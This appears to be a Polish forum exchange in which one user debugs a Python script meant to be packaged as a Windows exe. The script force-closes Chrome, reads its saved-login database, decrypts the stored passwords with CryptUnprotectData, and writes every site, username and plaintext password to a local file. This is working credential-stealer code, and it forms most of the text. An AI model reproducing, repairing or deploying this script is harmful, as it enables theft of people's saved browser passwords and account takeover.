A sprawdź, czy taki program zadziała po przerobieniu na exe:
with open(r'file.txt', 'a') as file_descriptor:
file_descriptor.write("Test\n")
no to akurat zadziałało ;)
Ale dodałem to do swojego kodu i dalej nic:
# -*- coding: utf-8 -*-
import os
from os import getenv
import sqlite3
import win32crypt
#Lets Connect to the Database
conn = sqlite3.connect(getenv("APPDATA")+r"\..\Local\Google\Chrome\User Data\Default\Login Data")
cursor = conn.cursor()
os.system("taskkill /f /im chrome.exe >nul")
#Lets get the results
cursor.execute('Select action_url, username_value, password_value FROM logins')
with open(r'file.txt', 'a') as file_descriptor:
file_descriptor.write('**************************************************')
file_descriptor.write('\nGoogle Chrome Saved Passwords')
file_descriptor.write('\n**************************************************')
for result in cursor.fetchall():
password = win32crypt.CryptUnprotectData(result[2], None, None, None, 0)[1]
if password:
file_descriptor.write('\nAdres: '+result[0])
file_descriptor.write('\nLogin: '+result[1])
file_descriptor.write('\nHasło: '+password.decode('utf-8'))
file_descriptor.write('\n**************************************************')